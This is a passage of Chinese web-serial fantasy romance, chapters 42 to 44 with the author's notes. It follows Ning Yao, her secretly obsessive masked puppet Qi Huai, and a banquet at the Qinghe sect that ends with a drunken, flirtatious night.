祁淮玩味弯了唇,把玩着指尖尚未收敛的幽蓝蛊虫,眼尾两颗泪痣在水雾中若隐若现。 “笑得真好看啊。”他望着宁瑶离开的方向轻声呢喃,发辫的小铃铛相撞却不发出任何清响。 ——可惜,小猫不是对我笑的。 苍白的指节微微收紧,蛊虫在掌心化作齑粉。 祁淮垂下眼睫,唇角勾起奇异的弧度。 她不远不近地感觉到一种窥伺的,潮湿的目光。四周看去,并无异动。 她心有顾虑,加快了脚步离开这是非之地。 宁瑶刚走到半路,就瞧见院门外有个藕粉色身影在来回转悠,脚尖踢着石子玩,一副等得无聊的模样。 “夜师兄?”她快步上前,“怎么不进去等?” 夜师兄无奈地晃了晃手中的玉笛,“敲了半天门也没人应,怕你院里藏了宝贝,不敢擅闯。” 宁瑶笑着解开禁制,推开院门,院门内祁淮人影竟不再。 没有她的命令,祁淮极少独自外出。 “你这傀儡倒是自在。”夜烁卿眼眸微眯,摇着玉笛轻敲掌心,带着几分困惑,若有所思地看着她。 “傀儡大了,总要给他点私人空间嘛。”宁瑶嘴上打着哈哈,压下心中的不安感泛起嘀咕,顺手给他斟了杯茶。 夜烁卿毫不客气地坐下,抿了口茶笑道:“不说他了,这青合宗有不少乐趣了。”他神秘兮兮地凑近,玉笛轻点她肩头,“这片海域来了群‘蝴蝶’,漂亮得很。” 宁瑶心不在焉地转着茶杯,闻言挑眉:“说呗,再故弄玄虚,下次我可不上钩了。” 被她戳穿,夜烁卿反而爽朗一笑,笑声震的宁瑶耳朵发痒。 他这才一脸正经道:“青合宗海底有一妖兽,被称为海底蝴蝶。走,我们去瞧瞧,宁师妹。““我……” 正要细问,忽闻铃音轻响。 一道深蓝身影负手立于房檐,翩然落地,缓步走到宁瑶一侧,眸光透过面具一眨不眨地落在她身上。 “不必主人亲自前往。”祁淮指尖捏着个琉璃瓶,几只莹蓝的“蝴蝶”在瓶中翩跹游弋,洒下闪烁星光。 宁瑶抬眸一笑:“你特意去抓的?还真是奇特。” “嗯。”祁淮嗓音温润,说的毫无破绽,让人心下忍不住相信。 夜烁卿站起身,神色惊疑,“那片海域危险重重,你如何……” “我是万金买来的傀儡,自然非比寻常。”祁淮歪头轻笑。 负手的腕骨上,隐约可见几道新鲜血痕。 祁淮不动声色地拉紧袖口,指尖在看不见的角度轻轻摩挲,眼底泛起病态兴奋的幽光。 ——真是极好。 ——小猫欢喜。 祁淮半垂长睫好不泄露被取悦般的笑意,伤口微不足道的疼,流出的鲜血,每样都泛起愉悦的温度…… 夜烁卿越发惊觉这傀儡可疑之处,他哪怕见了数次祁淮,可行为举止,却是琢磨不透。 不似他在家族所见的那些个傀儡,动作卡顿,头脑呆笨。 可看宁瑶正逗弄玉瓶海蝶,夜烁卿把玩着玉笛的手顿了顿,若有所思扯出个的笑来。 夜烁卿的身影消失门外后,宁瑶随手将玉瓶搁在案几上。 她凑近两步,歪头打量着祁淮脸上那张银蓝色面具。 "取下来吧。"祁淮顺从地解开系带。 面具落下瞬间,惊艳绝伦的面容完全显现。 果然比洛子晟那张脸顺眼千百倍。 宁瑶唇角不自觉扬起,又立即抿住,轻咳一声掩饰失态,转移话题:“怎么突然想到去寻海蝶?” “为求主人一笑。”祁淮压低声音,忽然倾身靠近,直到温热的呼吸拂过她额前碎发。 见宁瑶下意识屏住呼吸,祁淮抬起的手在即将触到她鬓发时收住。 不能让她看见指尖尚未干涸的血迹。 会吓到小猫吧。 他眼底掠过一丝玩味的笑意。 宁瑶在心底狠狠唾弃,她竟被自家傀儡扰乱了心神,强作镇定地问:“其他傀儡也像你这般擅作主张么?” 祁淮挑眉轻笑,眼尾两颗小痣格外妖冶。 好险,差点暴露在小猫面前了。 祁淮转瞬换上标准温顺无害的神情,眨着眼道:“自然只有我最特别,是专属于主人的傀儡呀。” “倒也是,最物超所值的傀儡。”宁瑶小声嘀咕。 两个距离太近,想起昨夜荒唐的梦,目光不自主掠过他的唇瓣,惊得往后退了半步。 见她后退,祁淮眸色一暗,又立即恢复挺拔姿态,负手而立的样子得挑不出错来。 宁瑶干咽了咽,抬手轻拍发烫的脸颊,绕着他踱步打量,试图找回身为主人的从容。 哪不对劲,她说不上来…… 海风裹挟着咸腥气息,宁瑶凑近时嗅到祁淮周身萦绕着的海水味道,并无异常。 直到她目光落在他深蓝袖口。 那片比布料本色更深的湿痕若隐若现。 “伸手,祁淮。”她指尖点向那处。 祁淮指节微蜷,眼底掠过幽深暗芒,仍将手背在身后,还一脸无辜。 宁瑶直接牵着他手腕到眼前,指尖猝不及防沾上黏腻猩红。 他方才将手藏在背后,为了遮掩这满手血迹…… “抓海蝶弄的?”她蹙眉抬头,正撞进他含笑的眼眸。 这人受伤了还在笑? 她小心地掀开被血浸透的衣袖,三道深可见骨的伤口赫然暴露在空气中,惊得宁瑶呼吸一滞。 祁淮歪头凑近,眼底隐秘藏起狡黠,瞧着小猫为他生气。 “主人,我自己处理就好。” “我来处理。”宁瑶气不打一处来,半嗔半瞪了他一眼,“不许笑了……” 作者有话说:真是没招了,昨晚存稿本是困的一下子给人吓一跳,瞌睡虫都吓跑了[捂脸笑哭]吃一堑吃一堑吃一堑,连吃三堑,真不是个贪吃鬼[爆哭] 第42章 祁淮眼底的笑意这才缓缓敛起。 他凑近了些,看着宁瑶低头专注地为他包扎伤口,一双清亮的眸中映着微光,也映出一个他。 这份专注让他心尖发颤,仿佛长久以来在心底的空洞,正被她一丝一丝地填进暖光。 祁淮眸光一眨不眨,声音放轻,带着几分试探:“主人,若祁淮是活生生的人,还会像现在这般对我吗?” 宁瑶利落地打好结,抬起头,思索一番,斩钉截铁地脱口道:“不会。” 她回答的太快,甚至带着下意识的冲动,反应来发现自己说出心目中最真实的想法,是不是太过激了。 宁瑶下意识瞥向祁淮。 祁淮可是她的傀儡,足以信任。 她纤长的睫毛一压,避开他那过于专注的视线,低声道:“我的意思是现在的祁淮,就很好。” 心底某个角落因她那声干脆的“不会”骤然一沉,他却不依不饶追问道:“主人,这是为何?” “这哪有什么为什么……”宁瑶察觉到他语气里不对劲异样,心下莫名一慌,打着哈哈就想糊弄过去。 刚转过身,指尖却被祁淮轻轻捏住,不轻不重的力道带着不容忽视的坚持。 祁淮借着这个动作顺势又靠近了些,声音低哑:“主人为何要回避?” 指尖相触的地方仿佛窜起细小的电流,酥酥麻麻,直抵心尖。 他主动的靠近让宁瑶一时心慌意乱,刚有所疑惑,祁淮忽地低笑一声,松开了手。 他藏去眸底沉淀的暗色,愈发幽深,宛如不见底的寒潭,“主人,不妨告诉傀儡呢?” 宁瑶只觉得喉间干得厉害,几乎是快步挪到桌边,端起微凉的茶抿了一口,脑子转得飞快。 总不能实话实说,告诉他人心易变,却远不如傀儡的可靠吧。 她硬着头皮回眸,再次撞进烫人的目光里,心头一跳,下意识摸了摸鼻尖:“人和傀儡,终究是不同的。做傀儡有什么不好?祁淮你就是最好的傀儡,我很喜欢现在的祁淮了。” 一口气说完,她心里反而松快了些,仿佛卸下了一个包袱。 那句“很喜欢”让祁淮眼底迅速掠过一丝微光,他半垂下长睫,堪堪将其掩住。 宁瑶见他不再追问,刚暗自松了口气,缓步走到窗边。 借着喝茶的间隙悄悄用眼角余光瞥去,祁淮仍一动不动地站在原地,目光直勾勾地锁在她身上。 似乎带着一种平日里被刻意压抑,却毫无遮掩的肆无忌惮。可他面上偏偏仍挂着那副挑不出错处的温顺笑容。 一定是她看花了眼。 今日沐浴后,宁瑶特意将自制的桂花香膏细细涂抹全身。 甜香在寝房间无声缭绕,将人轻柔包裹。 睡着入梦,梦境却越发诡异。 宁瑶迷迷糊糊睁开眼,浅黄色床幔映入眼帘。这是无论走到何处,她都要祁淮亲手为她布置的。 帐外立着一道熟悉的颀长身影,她竟不觉害怕,心底反而升起几分隐秘的期待。 她掀开纱幔,只见那人单膝抵在床沿,身形缓缓“挤”了进来。 宁瑶呼吸一滞,祁淮放大的脸庞近在咫尺,温热的呼吸交缠在一起。 她下意识揉了揉眼睛。 洛子晟? 不,是祁淮。 他眼尾那两颗小痣,她绝不会认错。 叮铃……叮铃…… 祁淮辫梢的银饰轻轻碰撞,清脆声响在寂静中格外撩人。 此情此景,宁瑶只觉得耳根发烫,面颊也跟着烧起来。 微凉的指腹擦过她的脸颊,宁瑶怔怔地望着他,心下暗惊,指尖不自觉地蜷了一下蜷缩。 我为何没有躲开? 是了,这是傀儡,这是梦。 宁瑶一点点向床尾挪动,祁淮却步步膝行而来。直到后背抵住床柱,祁淮的身影在她眼前一分为二,二化为四,将她团团围住。 “主人,看见我,为何不靠近呢?”他嗓音低哑,像是一只吸人生气的精怪鬼魅,趁她失神,刻意靠近。又趁着她愣神的功夫,停在在她的唇毫厘位置。 宁瑶心跳如擂鼓,偏头躲闪时,唇瓣不经意擦过他的下颌。 “你这梦里的模样,倒是与平日不同。” “哦?”祁淮眼底泛起恶劣的笑意,眼尾因她方才的触碰泛起病态的红,“那这样可合主人心意?” 平日里谨守本分的傀儡,在梦中竟这般放肆大胆…… 宁瑶暗自懊恼:不过是个梦,岂能被梦中傀儡逗弄? “我才没有。”她故意拔高音量,壮着胆子凑近其中一道幻影,伸手丈量他的脸型,又好奇地把玩他编发上的银饰,“倒是与真人一般无二。” “自然了,不过摸也摸了,怎么不敢靠近。”祁淮坏笑着,故意用脸颊蹭了蹭她的手掌。 掌心酥麻的触感让宁瑶缩回手,她抓挠几下,不乐意理他了,别开脸道:“靠近你作甚?” 她说着便要下床,却被一股力道轻轻拽回。 微凉的怀抱从身后拥来,腰间的手臂结实有力。头靠在他下颌,她注意到他手上没有缠绕的纱布,更加确定是梦。 “要去何处?”祁淮压低声音一笑。 “随处走走。”宁瑶毫不犹豫地给了他一手肘,被他压制下夹住了胳膊,“放了。” “不准。” “你管不着。” 两人你一言我一语。 宁瑶干笑一声,伸出空余的一手去掰他的手臂,力道不轻不重,不容她抗拒。 祁淮丝毫没有松手的意思,反而在她耳边低低一笑,笑声极有磁性。 笑得她耳尖发痒。 宁瑶磨了磨后槽牙,趁其不备正要咬上祁淮的手背。他却似早有预料,反而将手腕迎上她的唇齿。 “咦……”宁瑶被手腕磕到大白牙,也不客气地下口咬了一下。还磨了磨牙齿,直到看到一道清晰的红印,得意地扬起唇角,“这下知道我的厉害了吧。” 祁淮挑眉低笑,阴郁眸底绽出微光,似是极为享受这般亲昵。 对小猫反抗的反应取悦到,脸颊倏然凑近在她面前放大,狡黠在她耳后轻轻地吹了一口气。 宁瑶很没出息地心跳加速,正要开口,梦境却骤然消散。 等彻底清醒,睡意未消地揉着眼睛,脸颊无意识蹭着绣枕上的莲纹磨蹭了好几下,才懒洋洋坐起身。 她昨晚又是个旖旎的梦,为什么老是梦见祁淮了? 后知后觉忆起梦中的片段,她耳根倏地烧起来,抱着锦被蜷了蜷。 床幔忽然被修长手指挑开,祁淮俯身时银饰轻响。 “主人今日可愿起身?”桂花香扑面,与她的气息如出一辙。 这味道说明不了什么可那些画面,偏偏在脑海里反复。 宁瑶几乎是飞快下了床榻,干笑着避开他递来的巾栉:“今日我自己来。” 祁淮负手慢悠悠跟在她身后,直到被盯得浑身不自在,宁瑶转身,语速飞快:“早膳自有青合宗准备,你去把我榻上的云褥抱出去晒晒。记得未时要翻面,沾够日光。” 全程不敢看那双深邃的眼眸。 傀儡而已,不会有什么问题。 见小猫避开自己,放了灵石在桌面就匆匆出门,拉开袖口,是被他不断轻掐,加深印记的手腕。 他低头轻吻渐渐淡去的印记。 “小猫,跑得真快啊。”祁淮摩挲着手腕,可惜印记不能长久。 * 待众人在青合宗安顿妥当后,当晚便由秦莹长老代老宗主设宴接风。 宴席办得极尽不错,连戏班子都是特地从凡间请来的名角。 丝竹管弦之声不绝于耳,席间觥筹交错,唯独宁瑶安静地坐在角落,支着下颌百无聊赖。 忽略掉探究的其他目光,她一时先想起来祁淮了。 夜烁卿执着一壶酒凑近,打断思绪,玉笛轻点她面前的桌案,“怪事,今日怎不见宁师妹那个形影不离的傀儡?” “我留他看院子了。”宁瑶弯唇一笑,不动声色地转移话头,“倒是青合宗这般做派,瞧着对清玉道观的事并不着急?” “苗疆百年不出世,此番动静自然成了新谈资。”夜烁卿执起酒盏,在案上勾勒一个水痕,是个“罚”字。 “涉案修士收押海底水牢,如今不过是走个过场。” 见宁瑶睁大眼睛,他转着玉笛轻笑:“待长老们议定章程,此事便算了结。此事也算仁慈,清玉观弟子只是受雷刑,废灵根,抹去记忆逐下山门。” “这算仁慈?”宁瑶侧眸。 “总比让人窥探巫蛊之术来得妥当。”夜烁卿褪去正经,又笑盈盈抹去水痕,执玉笛轻敲桌面,声音低了几分,“宁师妹对苗疆知道多少?” 宁瑶实话实说:“略知皮毛,只晓得擅蛊术,苗疆之地多妖兽。” “难怪你不晓得苗疆厉害。”夜烁卿倾身为她斟酒,“苗疆人与妖族纠缠不清,亦正亦邪,各派向来避而远之”宁瑶凝神听着,忽然心念微动。 巫蛊二字,竟让她莫名想起祁淮。 祁淮出手的诡谲身法,与这蛊术倒有几分说不清的相似。 她托着下巴,就见夜烁卿也支着下颌饮酒,撇了撇嘴就坐直身形。 “吓着了?尝尝这椰汁果酒。”夜烁卿笑道。 “才没有被吓到。”宁瑶捧起他递来的杯盏,不动声色地微顿轻嗅,确认无误后仰头饮尽。 一杯接着一杯喝下去,似要把自己的思绪一同消去。 夜烁卿执壶的手顿在半空,眼中掠过一丝讶然。 “喝酒不是你这样喝的。”夜烁卿眨了眨眼,刚要拿过被子,宁瑶身形一晃背对他,又喝完了一杯。 “果酒度数不高。”宁瑶信誓旦旦。 夜烁卿话到嘴边咽了回去。 第43章 夜烁卿眼见宁瑶越喝越起劲,非但没停下的意思,反而一副要把酒坛子都吞下去的架势,连忙将玉笛横在她手臂前:“宁师妹,还是少喝一点吧。” “不碍事,我还能喝。”宁瑶抱着酒杯侧身躲开,藕粉色衣袖在眼前晃成一片虚影。 她脑海里闪过祁淮的面容,她咬了咬牙,赌气似的仰头灌下一大口,差点把自己呛到。 “宁师妹这是心里有什么烦心事?” 宁瑶晃了晃发沉的脑袋,强撑着坐直身子,嘴硬道:“没有。” 夜烁卿瞧着她从耳根漫上脸颊的绯红,还是低声提醒:“这酒入口虽甜爽,但后劲却凶。” “我可是……”她话音未落,一道颀长身影笼罩下来,修长手指利落地抽走了手中的白玉杯。 宁瑶顺着那骨节分明的手往上望,朦胧间对上一张熟悉的脸,下意识弯起嘴角,小声低唤道:“祁淮,你来接我回家啦?” “我不是你的傀儡。”洛子晟声音清冷如碎玉。 宁瑶茫然眨眼,这声音明明悦耳,语气却冷得让人心头一颤。 她使劲聚焦视线,目光落在对方眼下,两颗标志性的小痣消失了。嘴角的笑意瞬间垮下一压,她别过脸去,含糊应道:“嗯,确实不是他。” 洛子晟凝视着眼前面若桃花的少女,脸颊泛起好看的红晕,清冷眉眼间掠过一丝波动,一瞬不瞬地瞧着她。 他甚少见她饮酒。 上一次还是她八岁那年,小丫头偷尝他杯中酒,辣得眼泪汪汪,哭的直打嗝。 人家是哭的梨花带雨,她则鼻涕眼泪全蹭在他衣襟上。 那时他虽皱着眉嫌弃,第一次感觉到手足无措,手诚实地轻拍她后背,端来蜂蜜水还得哄了半晌。 洛子晟想起两人的往事,如今见她与旁人谈笑风生,唯独对他疏离冷淡,洛子晟不自觉拧紧眉头,袖袍一拂便将满桌酒具隐去。 “你酒量浅,不该贪杯。” 他始终想不明白,宁瑶为何刚刚能对一个名字笑起来,她能对夜烁卿笑起来,唯独他,任由自己如何小心翼翼靠近,越被她推得更远。 宁瑶蹙了蹙眉,醉醺醺地站起身,险些向后栽去,身旁藕粉衣衫的夜烁卿眼疾手快,急忙扶住她摇晃的手臂。 夜烁卿眼波流转,玉笛一转轻轻托住她胳膊,借着力道将人稳住。 他唇角噙着笑,话音里藏着不易察觉的关切:“宁师妹这是喝了多少?不如求求师兄我,勉为其难送你一程如何?” 宁瑶醉眼朦胧地眨了眨,仰脸冲他笑:“夜师兄人长得美,想得倒更美。我宁瑶这辈子还没求过谁呢。” 她虽醉得舌尖发软,这话却回得利落。哪怕是喝醉了,对这打趣应付都是有理,若是忽略掉宁瑶大舌头说话,倒真看不出已醉了大半。 夜烁卿被她那难得一见的憨甜笑容晃了神,玉笛触及她胳膊,蔓延至掌心隐隐发烫,那热意竟窜遍了全身。 顿时心口微微一颤,再看向她时目光里已掺了几分难以言说的微妙。 宁瑶趁着醉意间歇的清明,忙抿了口清茶,又抓起果盘里的灵果小口啃着。 这洛子晟本在荷钰长老距离最近的位置,怎么就从宴席前面到了这宴席末尾? 洛子晟见她刻意别开视线,眸色沉了沉,下颌线微微绷紧,带着几分难辨真假的挫败感。 宁瑶醉意又涌上来,“夜师兄,我先离席散散酒气。若是荷长老问起来,你如实说就好了。”不等回应便起身离席,步子迈得又快又稳。 待夜烁卿与洛子晟先后跟出殿外,只见月色清辉如水。 宁瑶捏碎了颗传送珠,身影倏忽消失流光中。 夜烁卿玉笛轻点肩头,无奈摇头失笑:“价值千金的传送珠也这般豪横,真不知能不能安稳回到住处。”话音一落便要去寻。 身旁掠过一道浅蓝色身影。 洛子晟默然折返宴席禀明长老后,御剑化作流光疾驰而去。 不过片刻,便见月光下晃着抹鹅黄身影。 那人儿步子看似踩得稳,身形却摇摇晃晃,正沿着石子路,独自一人慢吞吞地往前走。 月光如水银般倾泻洒落,竹影在晚风中摇曳,人影渡上一层朦胧的银纱。 宁瑶眯着眼,估摸到小院还剩七八步远,便拖着调子,唤起来:“祁淮——祁淮——”回应还没等到院门口,她的酒劲先窜了上来。 宁瑶只觉得脚下一软,天地忽然打起转来,胃里也跟着翻腾。 眼看要栽倒,一道剑光掠过,洛子晟已闪身而至,稳稳扶住她摇晃的身子。 院门吱呀推开,祁淮刚踏出门槛,感知到她的气息嘴角才扬起,眼前景象就让他的笑意凝在唇边,冷哼一声。 意识还未回转,风刃已在他指尖凝聚。 “小心!”洛子晟敏锐地察觉到一丝杀气,拉着宁瑶侧身闪避。 凌厉的疾风呼啸未至,在触及他们前倏地消散。 树枝沙沙作响,铃音不绝,似那颗蠢蠢欲动燥郁的心脏,带着一阵隐痛。 戴着银饰面具的少年攥紧掌心,强行收回的灵力反噬,喉间涌上淡淡血腥气。 ……她醉了? 洛子晟敢碰他的小猫,他不能攻击在她身上。 该死,谁许他的手碰到的。那只手,不该留在她身上。 祁淮微歪头,银饰在月下泛起冷光。他忽然低笑出声,朝宁瑶伸出手:“主人,过来。” 他步步走近,银铃轻响,眼尾扫向洛子晟,满是挑衅。 洛子晟立即扣紧宁瑶手腕后撤半步。 月华落在他清冷眉眼间,恍若谪仙临世。冷冽的目光审视着诡异的傀儡,捕捉到他的敌意,转眼语气刻意地亲昵:“瑶瑶,你这傀儡不太对劲。” 果然看见面具上方那双漂亮的眼睛微微蹙起。 不待他继续观察,宁瑶晕乎乎地甩开洛子晟的手:“不用你管。” 洛子晟二话不说还要去牵宁瑶,可醉鬼极为不舒服地推开他的手臂。 见他还想牵她,醉醺醺的抬眸不满地哼了声,让洛子晟下意识松了力道,乖乖放了手。 宁瑶晃晃悠悠站稳,视线落在熟悉的面具上。 见祁淮出门来迎,本该掀起嘴角如往常一般笑着,可她陡然想到什么,脑中思绪混沌,只觉得一口气压在嗓子眼,故意撇开眼从祁淮身边经过。 擦肩时她脚步微滞,偷偷瞥了他一眼。 见宁瑶破天荒地没来牵他,祁淮长睫轻颤,倒是不恼,默不作声跟上。 下一秒祁淮忽然俯身将人打横抱起,腰链银饰随着动作清脆作响。 月色如水流淌,风静了。 宁瑶只觉得脑子里塞了团乱麻,醉眼朦胧地瞅着他清晰的下颌线。月光落在那张银蓝面具上,泛开一圈朦胧光晕。 她用力晃了晃脑袋,左右脑互搏也没想明白,区区一个傀儡凭什么让她心绪一乱。 她在祁淮怀里不安分地扭动,反倒被他箍得更紧。 那人掌心还不轻不重地拍了下她的膝窝,眼尾泛着病态的淡红,嗓音低哑:“别动。” 宁瑶只觉得被拍的地方泛起热意,连同脸颊都烫起来。顿时不乐意地扁嘴,哼哧哼哧,扭得更凶,“祁淮!” “在呢。”祁淮稳稳抱着她,抬脚轻巧踢开房门,跨过门槛时特意回头,冲着院外的洛子晟阴沉的目光挑了挑眉,随即“嘭”地合上门扉。 他慢条斯理地将人抱到榻边,享受着抱在怀里,人儿靠在颈窝时,毛茸茸的发顶蹭过颈间的痒意。 宁瑶不依不饶嘟囔道:“祁淮,你刚刚打我。” “主人,祁淮不敢。”他垂眸凝视她醉意下绯红的脸颊,小心翼翼将人安置在锦被间。 “你还有什么不敢的?”宁瑶踉跄着撑起身子,醉醺醺地凑近。 她伸手捏住祁淮两颊软肉,又扯过他两缕发辫顽皮地绕在他颈间。 腕间黑铃无声一晃,一道微光闪过,袖中钻出条通体玄黑的小蛇。 怪怪吐着信子,竖瞳在二人之间流转。 若换作旁人敢这般冒犯主人,别说靠近,早就在意图触碰脖颈前,便悄无声息的死在蛊虫或是它的毒牙之下。 可她是宁瑶。 祁淮也认识到这一点,可他眼底只有漾开隐秘的欢愉。 任由宁瑶大胆地逗弄他,像只顽猫般胡闹,古灵精怪,偏要弄乱他的发丝。 “你、你刚才就是打了!在梦里你还……”她突然噤声,只睁着水濛濛的,带着醉意的亮眸嗔怪地瞪着他,将其他的话囫囵咽回肚里。 她掩饰不了闹别扭的小情绪,酒精壮胆,可她怕小心地说出口,打破这人与傀儡的平衡。 傀儡没有情绪,可她不是。 醉意后劲让宁瑶思绪混乱,难言言语的委屈。 唯一发泄的办法,最终像只受伤的小兽,气鼓鼓地缩回浅黄色纱帐之后,给它拉紧,身形慵懒蜷在锦被上。 “主人,怎么罚才能不生气呢?”祁淮压低声线,似无形中嗯诱哄。纱幔间悄然伸进一截骨节泛白的手,微凉如白玉。 他甚至特意撩开衣袖,给她一个特意的位置,似是一种无声的诱惑。 宁瑶晕晕乎乎眯着眼,脑子里像塞了团棉花,想不了太复杂的事。瞅着眼前结实的小臂,鬼使神差地张口就咬了下去,力道不轻。 纱帐外随即飘来一声压抑的,带着点古怪的闷哼。 宁瑶醉眼朦胧地眨了眨,松开口,只见那冷白皮肤上赫然印着个清晰的、微微泛红的牙印,在晃动的视野里重影。 她后知后觉升起一丝愧疚,声音带着鼻音:“咬疼你啦?” 作者有话说:推推专栏预收,作收[狗头叼玫瑰][彩虹屁]浇灌、评论尽管猛猛砸上来吧~[让我康康][让我康康][让我康康] 第44章 “不疼,主人。” 这道印痕会带着宁瑶特有的潮湿气息,湿濡的唇瓣划过小臂时,更留下一片钻心挠肝似的滚烫。 一帘之隔,在外的祁淮令一闲手单臂曲着,撑在床沿支着下颌。 人闲散地坐在地上,眸光掠过纱幔后的动静,眼尾泛着病态的潮红,享受似的眯了眼。 一颗刚因洛子晟燥郁的心,才在这一刻被悄然安抚了些。 宁瑶醉眼朦胧间,听见纱幔后的呼吸声又沉又急,带着几分压抑的紊乱。 她晃悠悠地凑近那层薄纱,整张脸几乎要贴上去,努力在晃动的烛影里辨认着熟悉轮廓。 “你,你哼什么呀?”她的声音里带着七分醉意三分娇气,指尖揪着纱幔揉搓了一下,“我还以为……以为真咬疼你了呢。” 说着低头去看他腕上那圈泛红的牙印,伸出指尖轻轻抚过。 动作比春风拂柳都要轻柔,却惹得外面人僵硬了一瞬。 如羽毛挠过,这一阵顺着血脉往心里钻,祁淮忽地无声一笑,笑意里藏着近乎欢愉的颤栗。 ——差点就藏不住了。 宁瑶浑然未觉,只顾着把他结实的小臂往外推。可那手臂纹丝不动,反而顺势勾住她的指尖。 “出去呀。”她带着鼻音哼道,尾音上扬,像在撒娇。 祁淮刻意放低了嗓音,眼尾微垂,显得无辜,诱哄般轻声道:“主人,不再咬一口吗?主人,这罚的太轻了。” 宁瑶晕乎乎地歪着头,努力运转着醉成一团浆糊的脑袋。 给他咬坏了? 不然怎么连傀儡都主动讨罚了?还给傀儡咬得上瘾了? 她醉得厉害,却仍觉得古怪,这傀儡怎会猜到她方才想咬他? “你、你让我咬,我偏不咬。”她醉醺醺地挺直腰板,说得理直气壮,“今日便教你一课,叫做女人的心思,你别猜。” 说着便去推他手腕,谁知反被那只手顺势扣住,十指不经意交缠的刹那,他轻轻往外一带。 鹅黄身影便撞开缭绕的纱幔,几乎是扑到他眼前,险些就要栽进他怀里,宁瑶撑着手制止前倾的动作。 四目相对。 他撞进一双氤氲着水光的醉眼。 “以下犯上。”宁瑶随口含糊嘟囔着。抬眸见傀儡眼中清晰映出自己朦胧的影子,一时不由地怔住。 她心里那点闷气未散,轻哼一声挣开他的手,又磨蹭着缩回纱幔后:“干什么干什么……” 祁淮垂眸摩挲着空落落的掌心,仿佛还在回味方才细腻的触感。 “我没干什么,主人。” 突如其来的寂静让她不适。 宁瑶晃了晃发沉的脑袋,好奇地掀开纱幔一角偷瞄。 恰撞见祁淮还未敛去的笑意。 那笑如春山融雪,映得那张雌雄莫辨的脸愈发秾丽,一副任君采颉的模样极具迷惑性,与她梦中那个“祁淮”的身影渐渐重叠。 醉眼朦胧间,她被这美色晃得失神,几乎分不清现实与梦境。 宁瑶鬼使神差的伸出手,摩挲在他的脸颊边缘,直到触碰到眼尾两颗小痣上,确认着傀儡的存在,“祁淮,你会一直留在我身边吗?” 傀儡顺势坐上床沿,学着她方才的动作,沁凉的指尖极轻捏了捏她发烫的脸颊。银饰随着动作发出细碎声响,藏在笑意下的试探无人察觉:“自然,主人是怕傀儡跑了不成?” 顺着祁淮的话想到或许有这种可能,宁瑶咬了咬后槽牙,看向含笑的眼:“不行。” 她脸颊热意比平日灵气紊乱有的一比,可这凉凉的触感恰巧是宁瑶最需要的温度。 边说着,她的脸颊又不自觉地、小幅度地磨蹭他掌心,驱散了横冲直撞的燥热。 “祁淮……”她像是找到宣泄口,面上一副受了委屈,抛开乱糟糟的想法,上前紧紧地扯着他的衣襟。 扭头又泄火似的,抓着他的腰链,头贴着胸口,借着微凉的衣料猛蹭脸颊,“好凉快。” 祁淮垂眸弯唇,凝视着主动投入怀抱的少女,任由她的动作,扣在腰上的指节不着痕迹地收紧。 银铃轻轻震颤,恰似胸腔里无声疯长的贪恋。 “好凉快,好舒服。” 是小猫主动往他身上扑贴。 宁瑶眼尾洇着醉意的红,乱蹭着他胸口的间隙,抬起妍丽的眸子,长睫微颤,唇角上扬起秾丽一笑。 “祁淮,你知道吗?你的傀儡师好有审美,你说是在哪进修回来的,能不能开班带上我。” 祁淮纵容地听着她蹦出听不懂的词汇,一一应着:“嗯,好。” “你的胸肌好看,我的意思是,“宁瑶顿了一下,娇憨的一笑,突然凑近他襟口,“薄瘦均匀,还有腹肌,超适合深V字领。要那种……半露不露,这种欲掩还彰的意境。” 宁瑶一边说,一边悄悄地隔着衣料摸了一把。 她这猝不及防的动作,全身热意差点直往下去。 祁淮牵着她乱动的手腕按在心口,差点破了功。 小猫啊小猫,真是“乖“的无法无天。 宁瑶浑然不觉危险,更没意识到暴露了真心话和现实的口癖,仍趴在他胸口,被禁锢的手腕不安分地勾着他发辫,把玩在掌心,任由细碎的铃音不绝。 叮铃——叮铃——维字领? 半露不露,欲盖欲章? 抓住了关键词,祁淮敛眸笑着玩味。 压制热意,微凉掌心牵引着她探向自己衣襟,故意逗她:“主人想看,何不亲手解开……” 亲手解开…… 四个字是“加大字加粗加荧光色”,声音回荡在宁瑶的醉意的脑海里,脸颊倏然很烫。 宁瑶打了个酒嗝,一把揪着祁淮衣襟,分明一脸醉意,可因情绪宣泄压在心口,一本正经地摇头。 “不可,不行。你可是我的傀儡,傀儡,也是不可乱来。” 她不能,更不该让一只傀儡扰她了心绪。 突然,她竟有些懂了,为何有沉沦在ai互动的人。 在醉意下被放大了无数情绪,让宁瑶依靠着本能回答着他的话。转眼宁瑶又不想答了,头便埋在祁淮微凉的胸口。 趴在怀里,安静地依偎。 祁淮恶劣的小心思熄了火,压制着喉头滚动。 他喉头仍有一股血腥气息未散,眸色沉了沉,超绝不经意问道:“主人,今日为何会和洛公子一同回来?” 宁瑶脑袋如有浆糊,实话实话道:“不知道啊,他就跟着我回来了。还怕我醉倒,我是那般容易醉的人吗?” 祁淮垂下眸是一张醉到快打瞌睡的人儿,轻笑道:“就这样简单吗?” 她小鸡啄米似的在他怀里颔首,揪着他衣领的手悄然地无力松开,闭上眼打盹。 往怀里紧了紧她的身子,力道不轻不重,下颌轻擦过她的额角。 祁淮指腹一点点划过某人的脊背,感受着怀中人轻颤一下,暗笑诱哄道:“我信主人,可我不太信他了。” 宁瑶一下子睁开眼,醉眼攀上他的肩膀,撑着胳膊在他肩膀,和他视线相撞时理直气壮道,“你是我的傀儡……只信我的话,听见没?” 祁淮嘴角笑意憋不住,半垂下头,舔了舔干涸的唇瓣,有些渴意低声一问:“你的?” “没大没小。你是傀儡,除了我,还能是谁的?”宁瑶手臂撑在他肩头,让他认识到这一点,就轻摇晃着祁淮。 祁淮扶稳她的腰,避免她滑坐下去,任由她给予他一切动作。 他余光见小黑蛇怪怪摇晃尾巴,要爬上来贴着她,飞来一记眼刀,转眸看向宁瑶换上一副浅笑,“好,祁淮是主人的。” 宁瑶抛却那些恼人的古怪的情绪,醉意眸底满是坚定,“对,一辈子。”小醉鬼难得称得上羞恼地扑在他怀里。 “怪你,问的我好奇怪的话。” “你这傀儡,不会在故意套我话吧。” “……” 眸底狡黠微光一闪而过,祁淮压下声音,“怎么会,主人可是冤枉祁淮了。” “冤枉你了吗?”她醉意地嘀咕,重复着这句话,仰面看向他,陡然欺身靠近到呼吸交缠的咫尺,她感觉到傀儡少年屏住了呼吸。 她醉意地晃动着脑袋。 祁淮鼻尖萦绕着她身上混着酒香的暖意,呼吸乱了节奏。掌心轻轻扣住她后颈,感受到指下传来细微的战栗,瞧着她睫毛轻颤。 他瞧着主动招惹上的小猫,“嗯?” 